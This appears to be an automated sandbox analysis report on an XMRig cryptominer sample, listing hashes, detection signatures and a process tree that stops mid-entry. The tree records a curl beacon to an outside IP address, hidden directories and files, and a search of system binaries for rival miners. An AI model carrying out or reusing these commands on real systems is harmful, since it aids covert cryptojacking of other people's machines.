xmrig | 558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

Analysis

max time kernel
150s
max time network
108s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/09/2026, 17:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
Size 9KB
Sample260929-vmmflayerd
SHA256 558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
MD5 8aa0e1a111a9d59f043d593c8d4c68d7
SHA1 f7119451214293ea52070f4699125664c1f81c3e
SHA512 51b971a5789932ae0c6da42e0988eeb661cddf81cb44b7c567ef56cf3c380dea2befa2d01df1c18e84609a3645ae152f7ab8619b1175b5acf26228cbd75ee345
SSDEEP 96:Jnrj47y/BXXDP/dYF2WoxWEkEEEMc4FCxWdmB9s9aE5aQZIVbStwqo0RnxAXtdLY:Jrjp/BiHNFCxWqseQGSWSaL1pjzs
TLSH
T1E012D8F0FA6CEF30398C59B87A0A8A6E5BC6197B06A93C51F0DE3504FF5864D600E765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xmrig miner upx

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-9.dat	family_xmrig
behavioral4/files/fstream-9.dat	xmrig

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-6.dat	upx

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
2151	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/332/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/23/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/380/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/19/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/147/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/334/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/333/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/4/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/68/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/9/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/17/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/14/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/20/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/337/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/701/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/713/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/10/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/381/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/677/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/156/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/76/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/420/cmdline	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1474	basename
1613	head
1132	basename
1190	stat
1280	head
1556	stat
1639	strings
1168	basename
1499	head
1525	basename
1528	strings
1570	strings
1041	head
1304	stat
1561	strings
1619	head
1690	strings
1459	strings
1660	basename
1703	stat
1369	basename
1099	basename
1223	stat
1342	basename
1394	stat
1492	strings
1498	basename
1585	basename
1054	basename
1144	strings
1157	stat
1483	strings
1601	stat
1402	basename
1279	basename
1466	head
1472	stat
1559	head
1032	basename
1340	stat
1400	stat
1558	basename
1588	strings
1595	head
1604	head
1358	stat
1516	basename
1694	stat
1372	strings
1160	head
1246	strings
1273	strings
1397	head
1490	head
1456	basename
1517	head
1606	strings
1636	basename
1672	strings
1061	stat
1214	stat
1324	basename
1405	strings
1360	basename

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lx_phoenix.log	558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
File opened for modification	/tmp/.lxseal.tgz	tar

/tmp/558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
/tmp/558d02f19e049a6ce1f3cf369f84a8409c58470213fbe1ef9caa25f701529ab8
1⤵
- Reads runtime system information
- Writes file to tmp directory
PID:714
- /usr/bin/cut
  cut -c1-12
  2⤵
  PID:720
- /bin/hostname
  hostname
  2⤵
  PID:719
- /bin/mkdir
  mkdir -p /root/.local/share/icc/.mgr /usr/lib/.lx
  2⤵
  PID:725
- /bin/date
  date "+%s"
  2⤵
  PID:728
- /bin/cat
  cat /usr/lib/.lx/.lastrun
  2⤵
  PID:732
- /bin/hostname
  hostname
  2⤵
  PID:734
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:736
- /usr/bin/wc
  wc -l
  2⤵
  PID:741
- /usr/bin/curl
  curl -s --max-time 6 -d lx4_debian9-mipsel-20260513-en-6_0_0g http://23.252.123.134:8098/beacon
  2⤵
  PID:743
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:759
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:761
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:764
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:766
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:768
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:771
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:774
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:776
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:778
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:781
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:783
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:786
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:788
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:790
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:792
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:795
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:798
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:800
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:802
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:805
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:807
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:810
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:812
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:814
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:817
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:820
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:822
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:824
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:826
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:829
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:832
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:834
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:836
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:839
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:841
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:844
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:846
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:848
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:851
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:853
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:856
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:858
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:860
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:863
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:866
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:868
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:870
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:872
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:875
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:877
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:880
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:882
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:884
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:887
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:889
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:895
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:898
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:900
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:902
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:909
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:912
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:915
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:918
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:921
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:924
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:926
- /usr/bin/cut
  cut "-d," -f1
  2⤵
  PID:929
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:934
- /usr/bin/head
  head -1
  2⤵
  PID:933
- /bin/date
  date "+%F %T"
  2⤵
  PID:936
- /usr/bin/head
  head -1
  2⤵
  PID:940
- /usr/bin/find
  find /usr/lib -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:939
- /usr/bin/head
  head -1
  2⤵
  PID:947
- /usr/bin/find
  find /usr/lib -type f -name glint -size +500k
  2⤵
  PID:946
- /usr/bin/head
  head -1
  2⤵
  PID:951
- /usr/bin/find
  find /usr/lib -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:950
- /usr/bin/head
  head -1
  2⤵
  PID:954
- /usr/bin/find
  find /usr/lib -type f -name krig-miner -size +500k
  2⤵
  PID:953
- /usr/bin/find
  find /usr/lib -type f -name pearl -size +500k
  2⤵
  - Reads runtime system information
  PID:956
- /usr/bin/head
  head -1
  2⤵
  PID:957
- /usr/bin/head
  head -1
  2⤵
  PID:962
- /usr/bin/find
  find /usr/lib -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:961
- /usr/bin/head
  head -100
  2⤵
  PID:972
- /usr/bin/find
  find /usr/lib -type f -size +500k
  2⤵
  PID:971
- /usr/bin/stat
  stat "-c%s" /usr/lib/openssh/ssh-keysign
  2⤵
  PID:981
- /usr/bin/basename
  basename /usr/lib/openssh/ssh-keysign
  2⤵
  PID:984
- /usr/bin/head
  head -c 4 /usr/lib/openssh/ssh-keysign
  2⤵
  PID:985
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:986
- /usr/bin/head
  head -c 120000
  2⤵
  PID:989
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:990
- /usr/bin/strings
  strings /usr/lib/openssh/ssh-keysign
  2⤵
  PID:988
- /usr/bin/stat
  stat "-c%s" /usr/lib/locale/locale-archive
  2⤵
  - Reads runtime system information
  PID:993
- /usr/bin/basename
  basename /usr/lib/locale/locale-archive
  2⤵
  PID:996
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:998
- /usr/bin/head
  head -c 4 /usr/lib/locale/locale-archive
  2⤵
  PID:997
- /usr/bin/stat
  stat "-c%s" /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1001
- /usr/bin/basename
  basename /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1003
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1005
- /usr/bin/head
  head -c 4 /usr/lib/locale/C.UTF-8/LC_COLLATE
  2⤵
  PID:1004
- /usr/bin/stat
  stat "-c%s" /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1008
- /usr/bin/basename
  basename /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1011
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1013
- /usr/bin/head
  head -c 4 /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1012
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1015
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1016
- /usr/bin/strings
  strings /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1014
- /usr/bin/stat
  stat "-c%s" /usr/lib/file/magic.mgc
  2⤵
  - Reads runtime system information
  PID:1023
- /usr/bin/basename
  basename /usr/lib/file/magic.mgc
  2⤵
  PID:1025
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1028
- /usr/bin/head
  head -c 4 /usr/lib/file/magic.mgc
  2⤵
  PID:1027
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/libstdc++fs.a
  2⤵
  PID:1030
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/libstdc++fs.a
  2⤵
  - System Network Configuration Discovery
  PID:1032
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1035
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/libstdc++fs.a
  2⤵
  PID:1034
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/libgcc.a
  2⤵
  PID:1038
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/libgcc.a
  2⤵
  PID:1040
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1042
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/libgcc.a
  2⤵
  - System Network Configuration Discovery
  PID:1041
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/libstdc++.a
  2⤵
  PID:1045
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/libstdc++.a
  2⤵
  PID:1048
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1050
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/libstdc++.a
  2⤵
  PID:1049
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/collect2
  2⤵
  PID:1052
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/collect2
  2⤵
  - System Network Configuration Discovery
  PID:1054
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1056
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/collect2
  2⤵
  PID:1055
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1059
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1058
- /usr/bin/strings
  strings /usr/lib/gcc/mipsel-linux-gnu/6/collect2
  2⤵
  PID:1057
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/cc1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1061
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/cc1
  2⤵
  PID:1063
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1065
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/cc1
  2⤵
  PID:1064
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1067
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1068
- /usr/bin/strings
  strings /usr/lib/gcc/mipsel-linux-gnu/6/cc1
  2⤵
  PID:1066
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/cc1plus
  2⤵
  PID:1070
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/cc1plus
  2⤵
  PID:1072
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1074
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/cc1plus
  2⤵
  PID:1073
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1077
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1076
- /usr/bin/strings
  strings /usr/lib/gcc/mipsel-linux-gnu/6/cc1plus
  2⤵
  PID:1075
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/lto1
  2⤵
  PID:1079
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/lto1
  2⤵
  PID:1081
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1083
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/lto1
  2⤵
  PID:1082
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1086
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1085
- /usr/bin/strings
  strings /usr/lib/gcc/mipsel-linux-gnu/6/lto1
  2⤵
  PID:1084
- /usr/bin/stat
  stat "-c%s" /usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper
  2⤵
  - Reads runtime system information
  PID:1088
- /usr/bin/basename
  basename /usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper
  2⤵
  PID:1090
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1092
- /usr/bin/head
  head -c 4 /usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper
  2⤵
  PID:1091
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1094
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1095
- /usr/bin/strings
  strings /usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper
  2⤵
  PID:1093
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libc.a
  2⤵
  PID:1097
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libc.a
  2⤵
  - System Network Configuration Discovery
  PID:1099
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1101
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libc.a
  2⤵
  PID:1100
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1103
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1105
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1107
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1106
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1109
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1110
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libIlmImf-2_2.so.22.0.0
  2⤵
  PID:1108
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1112
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1114
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1116
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1115
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1119
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1118
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libdjvulibre.so.21.6.0
  2⤵
  PID:1117
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1121
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1123
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1125
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1124
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1127
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1128
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libMagickWand-6.Q16.so.3.0.0
  2⤵
  PID:1126
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libkrb5.so.3.3
  2⤵
  PID:1130
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libkrb5.so.3.3
  2⤵
  - System Network Configuration Discovery
  PID:1132
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1134
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libkrb5.so.3.3
  2⤵
  PID:1133
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1137
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1136
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libkrb5.so.3.3
  2⤵
  PID:1135
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  PID:1139
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  PID:1141
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1143
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  PID:1142
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1146
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1145
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libgio-2.0.so.0.5000.3
  2⤵
  - System Network Configuration Discovery
  PID:1144
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  PID:1148
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  PID:1150
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1152
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  PID:1151
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1154
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1155
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libguile-2.0.so.22.8.1
  2⤵
  PID:1153
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libxml2.so.2.9.4
  2⤵
  - System Network Configuration Discovery
  PID:1157
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libxml2.so.2.9.4
  2⤵
  PID:1159
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libxml2.so.2.9.4
  2⤵
  - System Network Configuration Discovery
  PID:1160
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1161
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1164
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1163
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libxml2.so.2.9.4
  2⤵
  PID:1162
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcrypto.a
  2⤵
  PID:1166
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcrypto.a
  2⤵
  - System Network Configuration Discovery
  PID:1168
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1170
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcrypto.a
  2⤵
  PID:1169
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcups.so.2
  2⤵
  PID:1172
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcups.so.2
  2⤵
  PID:1174
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1176
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcups.so.2
  2⤵
  PID:1175
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1178
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1179
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libcups.so.2
  2⤵
  PID:1177
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1181
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1183
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1185
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1184
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1187
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1188
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libmailutils.so.5.0.1
  2⤵
  PID:1186
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libpthread.a
  2⤵
  - System Network Configuration Discovery
  PID:1190
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libpthread.a
  2⤵
  PID:1192
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1194
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libpthread.a
  2⤵
  PID:1193
- /usr/bin/stat
